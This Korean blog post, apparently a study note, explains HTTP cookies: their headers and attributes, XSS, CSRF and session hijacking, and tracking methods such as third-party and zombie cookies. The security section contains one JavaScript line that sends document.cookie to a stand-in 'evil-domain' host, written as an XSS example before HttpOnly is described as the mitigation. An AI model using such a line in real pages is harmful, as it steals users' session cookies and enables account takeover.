Posts ๐Ÿ’ป HTTP #3: ์ฟ ํ‚ค
Post
Cancel

๐Ÿ’ป HTTP #3: ์ฟ ํ‚ค

HTTP ์ฟ ํ‚ค

HTTP ์ฟ ํ‚ค๋ž€?

HTTP์ฟ ํ‚ค๋Š” ์„œ๋ฒ„๊ฐ€ ์‚ฌ์šฉ์ž์˜ ์›น ๋ธŒ๋ผ์šฐ์ €์— ์ „์†กํ•˜๋Š” ์ž‘์€ ๋ฐ์ดํ„ฐ ํŒŒ์ผ์ด๋‹ค. ํ—จ์ ค๊ณผ ๊ทธ๋ ˆํ…”์—์„œ ์ฃผ์ธ๊ณต์ด ๊ธธ์„ ์ง€๋‚˜๋ฉฐ ๋‚จ๊ธด ๋นต ๋ถ€์Šค๋Ÿฌ๊ธฐ์™€ ๊ฐ™๋‹ค๊ณ  ํ•ด์„œ ๋ถ™์—ฌ์ง„ ์ด๋ฆ„์ด๋‹ค. ํด๋ผ์ด์–ธํŠธ๋Š” ๊ทธ ๋ฐ์ดํ„ฐ ํŒŒ์ผ์„ ์ €์žฅํ•ด ๋†“์•˜๋‹ค๊ฐ€, ๋™์ผํ•œ ์„œ๋ฒ„์— ์žฌ ์š”์ฒญํ•  ๋•Œ ์ „์†กํ•œ๋‹ค. ์ฟ ํ‚ค๋Š” ์š”์ฒญ์„ ๋ณด๋‚ธ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ์ฃผ๋กœ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ƒํƒœ๊ฐ€ ์—†๋Š”(stateless) HTTP ํ”„๋กœํ† ์ฝœ์—์„œ ์ƒํƒœ ์ •๋ณด๋ฅผ ๊ธฐ์–ต์‹œ์ผœ์ค€๋‹ค.

์ฟ ํ‚ค์˜ ๋ชฉ์ 

  • ์„ธ์…˜ ๊ด€๋ฆฌ(Session management)
    • ์„œ๋ฒ„์— ์ €์žฅํ•ด์•ผ ํ•  ๋กœ๊ทธ์ธ, ์žฅ๋ฐ”๊ตฌ๋‹ˆ, ๊ฒŒ์ž„ ์Šค์ฝ”์–ด ๋“ฑ์˜ ์ •๋ณด ๊ด€๋ฆฌ
  • ๊ฐœ์ธํ™”(Personalization)
    • ์‚ฌ์šฉ์ž ์„ ํ˜ธ, ํ…Œ๋งˆ ๋“ฑ์˜ ์„ธํŒ…
  • ํŠธ๋ž˜ํ‚น(Tracking)
    • ์‚ฌ์šฉ์ž ํ–‰๋™์„ ๊ธฐ๋กํ•˜๊ณ  ๋ถ„์„ํ•˜๋Š” ์šฉ๋„

ํด๋ผ์ด์–ธํŠธ ์ธก์˜ ๋ฐ์ดํ„ฐ ์ €์žฅ

๋ฐ์ดํ„ฐ๋ฅผ ํด๋ผ์ด์–ธํŠธ ์ธก์— ์ €์žฅํ•  ๋•Œ ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋˜ ๊ณผ๊ฑฐ์™€ ๋‹ฌ๋ฆฌ ์ง€๊ธˆ์€ modern storage APIs๋ฅผ ์‚ฌ์šฉํ•  ๊ฒƒ์ด ๊ถŒ์žฅ๋œ๋‹ค. ์ฟ ํ‚ค๋Š” ๋ชจ๋“  ์š”์ฒญ๋งˆ๋‹ค ํ•จ๊ป˜ ์ „์†ก๋˜๊ธฐ ๋•Œ๋ฌธ์— ์„ฑ๋Šฅ์ด ์ €ํ•˜๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

์ €์žฅ๋œ ์ฟ ํ‚ค ๋ณด๊ธฐ

  • ๊ฐœ๋ฐœ์ž ๋„๊ตฌ > Storage Inspector -> ์Šคํ† ๋ฆฌ์ง€ ํŠธ๋ฆฌ์˜ ์ฟ ํ‚ค ์Šคํ† ๋ฆฌ์ง€

์ฟ ํ‚ค ๋งŒ๋“ค๊ธฐ

  • Set-Cookie: ์„œ๋ฒ„: ํด๋ผ์ด์–ธํŠธ์•ผ ์ฟ ํ‚ค ์ €์žฅํ•ด!
1
2
Set-Cookie: ์ฟ ํ‚ค์ด๋ฆ„=์ฟ ํ‚ค๊ฐ’
Set-Cookie: ์ฟ ํ‚ค์ด๋ฆ„=์ฟ ํ‚ค๊ฐ’
  • Cookie: ๋ธŒ๋ผ์šฐ์ €: ์„œ๋ฒ„๋กœ ์ด์ „์— ์ €์žฅํ–ˆ๋˜ ๋ชจ๋“  ์ฟ ํ‚ค๋“ค ํšŒ์‹ 
1
Cookie: ์ฟ ํ‚ค์ด๋ฆ„1=์ฟ ํ‚ค๊ฐ’1; ์ฟ ํ‚ค์ด๋ฆ„2=์ฟ ํ‚ค๊ฐ’2

Session ์ฟ ํ‚ค์™€ Permanent ์ฟ ํ‚ค

Expires๋‚˜ Max-Age๋ฅผ ๋ช…์‹œํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ข…๋ฃŒ๋˜๋ฉด ์‚ญ์ œ๋˜๋Š” Session ์ฟ ํ‚ค๊ฐ€ ๋œ๋‹ค. ๋ช…์‹œํ•˜๋ฉด ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋‹ซํž ๋•Œ ๋งŒ๋ฃŒ๋˜์ง€ ์•Š๋Š” Permanent ์ฟ ํ‚ค๊ฐ€ ๋œ๋‹ค.

1
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; // Permanent ์ฟ ํ‚ค

Secure ์ฟ ํ‚ค์™€ HttpOnly ์ฟ ํ‚ค

์ฟ ํ‚ค์— Secure ์˜ต์…˜์„ ์ค„ ๊ฒฝ์šฐ Https ํ”„๋กœํ† ์ฝœ ์ƒ์—์„œ ์•”ํ˜ธํ™”๋œ ์š”์ฒญ์ผ ๊ฒฝ์šฐ๋งŒ ์ „์†ก๋œ๋‹ค. HttpOnly ์˜ต์…˜์„ ์ค„ ๊ฒฝ์šฐ, ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ†ตํ•ด ์ฟ ํ‚ค ๊ฐ’์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์„ ๋ง‰์•„ Cross-site ์Šคํฌ๋ฆฝํŒ… ๊ณต๊ฒฉ์„ ๋ˆ„๊ทธ๋Ÿฌ๋œจ๋ฆฌ๋Š” ๋ฐ ๋„์›€์„ ์ค„ ์ˆ˜ ์žˆ๋‹ค.

์ฟ ํ‚ค์˜ ์Šค์ฝ”ํ”„: Domain๊ณผ Path ์†์„ฑ

  • Domain๊ณผ Path ๋””๋ ‰ํ‹ฐ๋ธŒ๋ฅผ ํ†ตํ•ด ํŠน์ • ๋„๋ฉ”์ธ ํ˜น์€ ๊ฒฝ๋กœ ์ œํ•œ ์„ค์ •์ด ๊ฐ€๋Šฅํ•˜๋‹ค.
  • Domain: ์„œ๋ธŒ๋„๋ฉ”์ธ ํฌํ•จ
    • ์˜ˆ๋ฅผ ๋“ค์–ด, Domain=naver.com๊ฐ€ ์„ค์ •๋˜๋ฉด ์ฟ ํ‚ค๋“ค์ด dict.naver.com, news.naver.com๊ณผ ๊ฐ™์€ ์„œ๋ธŒ ๋„๋ฉ”์ธ ์ƒ์—๋„ ํฌํ•จ๋œ๋‹ค.
  • Path: ์„œ๋ธŒ ๋””๋ ‰ํ† ๋ฆฌ ํฌํ•จ
    • ์˜ˆ๋ฅผ ๋“ค์–ด, Path=/docs๊ฐ€ ์„ค์ •๋˜๋ฉด ์ฟ ํ‚ค๋“ค์ด /docs, docs/Web/, docs/HTTP์™€ ๊ฐ™์€ ์„œ๋ธŒ ๋””๋ ‰ํ† ๋ฆฌ ์ƒ์—๋„ ํฌํ•จ๋œ๋‹ค.

SameSite ์ฟ ํ‚ค

SameSite ์ฟ ํ‚ค๋Š” ์ฟ ํ‚ค๊ฐ€ cross-site ์š”์ฒญ๊ณผ ํ•จ๊ป˜ ์ „์†ก๋˜์ง€ ์•Š๊ฒŒ ํ•œ๋‹ค.

Document.cookie๋ฅผ ์‚ฌ์šฉํ•œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ ‘๊ทผ

  • Document.cookie๋ฅผ ์‚ฌ์šฉํ•ด ์ฟ ํ‚ค๋ฅผ ๋งŒ๋“ค์–ด๋‚ผ ์ˆ˜ ์žˆ๋‹ค. HttpOnlyํ”Œ๋ž˜๊ทธ๊ฐ€ ์„ค์ €์–ด๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ ๊ธฐ๋ณธ ์ฟ ํ‚ค๋“ค์€ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋กœ๋ถ€ํ„ฐ ์ž˜ ์ ‘๊ทผ๋  ์ˆ˜ ์žˆ๋‹ค
1
2
3
4
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy+cookie=choco; tasty_cookie=strawberry";

๋ณด์•ˆ

์„ธ์…˜ ํ•˜์ด์žฌํ‚น๊ณผ XSS(Cross-Site Script)

์„ธ์…˜ ํ•˜์ด์žฌํ‚น์ด๋ž€ ์„œ๋ฒ„์™€ ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด์—์„œ ์ด๋ฃจ์–ด์ง€๋Š” ํ†ต์‹ ์— ๋‚‘๊ฒจ์„œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์„œ๋ฒ„๋กœ ๋ถ™์–ด ์žˆ๋Š” ์„ธ์…˜์„ ํƒˆ์ทจํ•ด์˜ค๋Š” ๊ธฐ์ˆ ์ด๋‹ค. XSS(Cross-Site Script, ์‚ฌ์ดํŠธ ๊ฐ„ ์Šคํฌ๋ฆฝํŒ…)๋Š” ๊ถŒํ•œ์ด ์—†๋Š” ์œ ์ €๊ฐ€ ์‚ฌ์ดํŠธ ๋‚ด์— ์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค, ์„ธ์…˜ ๋“ฑ์„ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜, ์˜๋„ํ•˜์ง€ ์•Š์€ ๋น„์ •์ƒ์ ์ธ ํ–‰์œ„๋ฅผ ํ•˜๊ฒŒ๋” ์œ ๋„ํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด๋‹ค.

HTTP ํ†ต์‹ ์€ Statelessํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ธฐ๋ณธ์ ์œผ๋กœ๋Š” ๋กœ๊ทธ์ธ์„ ํ•ด๋„ ํŽ˜์ด์ง€ ์ด๋™ ์‹œ ๋กœ๊ทธ์•„์›ƒ์ด ๋  ๊ฒƒ์ด๋‹ค. ๋”ฐ๋ผ์„œ ์„œ๋ฒ„๋Š” ์„ธ์…˜์„ ์ด์šฉํ•˜์—ฌ ๋กœ๊ทธ์ธ ์ƒํƒœ๋ฅผ ๊ธฐ์–ตํ•œ๋‹ค. ์„œ๋ฒ„๋Š” Session ID๋ฅผ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ถ€์—ฌํ•ด์ฃผ๊ณ  ์‚ฌ์šฉ์ž๋Š” ์ฟ ํ‚ค๋ฅผ ์ด์šฉํ•ด Session ID๋ฅผ ์ €์žฅํ•œ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž์™€ ์„œ๋ฒ„ ์‚ฌ์ด์— ๋ถ€์—ฌ๋œ ์„ธ์…˜์„ ๊ฐ€๋กœ์ฑ„ ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ์‚ฌ์ดํŠธ๋ฅผ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค. ์†Œ์…œ ๊ณตํ•™์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์˜ XSS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ ์ฟ ํ‚ค๋ฅผ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ๋‹ค.

1
(new Image()).src = "https://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

๊ทธ๋ ‡๋‹ค๋ฉด ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์–ด๋–ป๊ฒŒ ํ•ด์•ผ ํ• ๊นŒ? ์ฟ ํ‚ค์— HttpOnly ์†์„ฑ์„ ์ฃผ๋ฉด ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ†ตํ•ด ์ฟ ํ‚ค ๊ฐ’์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์„ ๋ง‰์•„ ๊ณต๊ฒฉ์„ ๋ˆ„๊ทธ๋Ÿฌ๋œจ๋ฆฌ๋Š” ๋ฐ ๋„์›€์„ ์ค„ ์ˆ˜ ์žˆ๋‹ค.

Cross-site ์š”์ฒญ ์œ„์กฐ (CSRF)

๋ถˆํŠน์ • ๋‹ค์ˆ˜๋ฅผ ๋Œ€์ƒ์œผ๋กœ ๋กœ๊ทธ์ธ๋œ ์‚ฌ์šฉ์ž๊ฐ€ ์ž์‹ ์˜ ์˜์ง€์™€๋Š” ๋ฌด๊ด€ํ•˜๊ฒŒ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ํ–‰์œ„(์ˆ˜์ •, ์‚ญ์ œ, ๋“ฑ๋ก ๋“ฑ)์„ ์š”์ฒญํ•˜๊ฒŒ ํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค. XXS์„ ์ด์šฉํ•œ ๊ณต๊ฒฉ์ด ์‚ฌ์šฉ์ž๊ฐ€ ํŠน์ • ์›น์‚ฌ์ดํŠธ๋ฅผ ์‹ ์šฉํ•˜๋Š” ์ ์„ ๋…ธ๋ฆฐ ๊ฒƒ์ด๋ผ๋ฉด, ์‚ฌ์ดํŠธ๊ฐ„ ์š”์ฒญ ์œ„์กฐ๋Š” ํŠน์ • ์›น์‚ฌ์ดํŠธ๊ฐ€ ์‚ฌ์šฉ์ž์˜ ์›น๋ธŒ๋ผ์šฐ์ €๋ฅผ ์‹ ์šฉํ•˜๋Š” ์ƒํƒœ๋ฅผ ๋…ธ๋ฆฐ ๊ฒƒ์ด๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ์›น์‚ฌ์ดํŠธ์— ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ์—์„œ ์‚ฌ์ดํŠธ๊ฐ„ ์š”์ฒญ ์œ„์กฐ ๊ณต๊ฒฉ ์ฝ”๋“œ๊ฐ€ ์‚ฝ์ž…๋œ ํŽ˜์ด์ง€๋ฅผ ์—ด๋ฉด, ๊ณต๊ฒฉ ๋Œ€์ƒ์ด ๋˜๋Š” ์›น์‚ฌ์ดํŠธ๋Š” ์œ„์กฐ๋œ ๊ณต๊ฒฉ ๋ช…๋ น์ด ๋ฏฟ์„ ์ˆ˜ ์žˆ๋Š” ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ๋ฐœ์†ก๋œ ๊ฒƒ์œผ๋กœ ํŒ๋‹จํ•˜๊ฒŒ ๋˜์–ด ๊ณต๊ฒฉ์— ๋…ธ์ถœ๋œ๋‹ค.

ํŠธ๋ž˜ํ‚น๊ณผ ํ”„๋ผ์ด๋ฒ„์‹œ

์„œ๋“œํŒŒํ‹ฐ ์ฟ ํ‚ค

ํผ์ŠคํŠธํŒŒํ‹ฐ ์ฟ ํ‚ค๋Š” ์›น์‚ฌ์ดํŠธ ์šด์˜์ž๊ฐ€, ์„œ๋“œํŒŒํ‹ฐ๋Š” ์™ธ๋ถ€ ์—…์ฒด๊ฐ€ ์‹ฌ๋Š” ๊ฒƒ์ด๋‹ค. ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์„œ๋“œํŒŒํ‹ฐ ์ฟ ํ‚ค๋ฅผ ์ง€์›ํ•˜๋ฉด ์ฟ ํ‚ค๋ฅผ ์ธํ„ฐ๋„ท ๊ด‘๊ณ  ์—…์ฒด ๋“ฑ ์ œ3์ž์—๊ฒŒ ์ œ๊ณตํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๊ธฐ์—… ๊ด‘๊ณ ์˜ ์ฃผ์š” ์ž์›์ด ๋œ๋‹ค. ๊ด‘๊ณ ์ฃผ๋Š” ํ•ด๋‹น ์ฟ ํ‚ค๋กœ ์ด์šฉ์ž ์„ฑํ–ฅ์„ ํŒŒ์•…ํ•ด ํƒ€๊ฒŸํŒ… ๊ด‘๊ณ ๋ฅผ ํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋กœ ์ธํ•œ ๊ฐœ์ธ ์ •๋ณด ์นจํ•ด ๋ฌธ์ œ๋กœ ์ตœ๊ทผ ๋งŽ์€ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์„œ๋“œํŒŒํ‹ฐ ์ฟ ํ‚ค ์ง€์›์„ ์ค‘๋‹จํ•˜๊ฒ ๋‹ค๊ณ  ๋ฐœํ‘œํ–ˆ๋‹ค.

DNT ์š”์ฒญ ํ—ค๋” (Do Not Track)

์‚ฌ์ดํŠธ ๋‚ด๋ถ€ ํ˜น์€ ์‚ฌ์ดํŠธ๊ฐ„ ํŠธ๋ž˜ํ‚น ๋ชจ๋‘๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ์‹ ํ˜ธ๋กœ ์‚ฌ์šฉ๋œ๋‹ค.

์ข€๋น„ ์ฟ ํ‚ค์™€ ์—๋ฒ„์ฟ ํ‚ค

์ข€๋น„ ์ฟ ํ‚ค๋Š” ์‚ญ์ œ ์ดํ›„์— ๋‹ค์‹œ ์ƒ์„ฑ๋˜๋Š” ์ฟ ํ‚ค์ด๋‹ค. ํด๋ผ์ด์–ธํŠธ ์ธก ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์—ฌ๋Ÿฌ ๊ณณ(์›น ์Šคํ† ๋ฆฌ์ง€ API, Flash๋กœ์ปฌ ๊ณต์œ  ๊ฐ์ฒด ๋“ฑ)์— ์ฟ ํ‚ค ๋‚ด์šฉ์„ ์ €์žฅํ•˜๊ณ , ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ฟ ํ‚ค๊ฐ€ ์—†์Œ์„ ์•Œ์•„์ฐจ๋ฆฌ๋ฉด ๊ฐ ์œ„์น˜์— ์ €์žฅ๋˜์–ด ์žˆ๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฟ ํ‚ค๋ฅผ ์žฌ์ƒ์„ฑํ•œ๋‹ค. Evercookie๋Š” ์ข€๋น„ ์ฟ ํ‚ค๋ฅผ ์ƒ์‚ฐํ•˜๋Š” ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๊ธฐ๋ฐ˜ ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋‹ค.

Reference

  1. https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies

  2. ์ƒํ™œ์ฝ”๋”ฉ: Node.js - ์ฟ ํ‚ค์™€ ์ธ์ฆ ์‹œ๋ฆฌ์ฆˆ: https://youtu.be/i51xW3eh-T4

  3. https://ko.wikipedia.org/wiki/%EC%82%AC%EC%9D%B4%ED%8A%B8%EA%B0%84%EC%9A%94%EC%B2%AD_%EC%9C%84%EC%A1%B0

  4. http://it.chosun.com/site/data/html_dir/2020/02/16/2020021600579.html

  5. https://gmyankee.tistory.com/86

  6. http://wiki-camp.appspot.com/%5B%EB%B2%88%EC%97%AD%5D_HTTP_Cookie_%28Wikipedia%29?rev=2

  7. https://ko.wikipedia.org/wiki/%EC%B6%94%EC%A0%81_%EA%B8%88%EC%A7%80

This post is licensed under CC BY 4.0 by the author.

:coffee: [Java] wrapper ํด๋ž˜์Šค

ํ•™์› #26์ผ์ฐจ: LinkedList ๊ตฌํ˜„

Loading comments from Disqus ...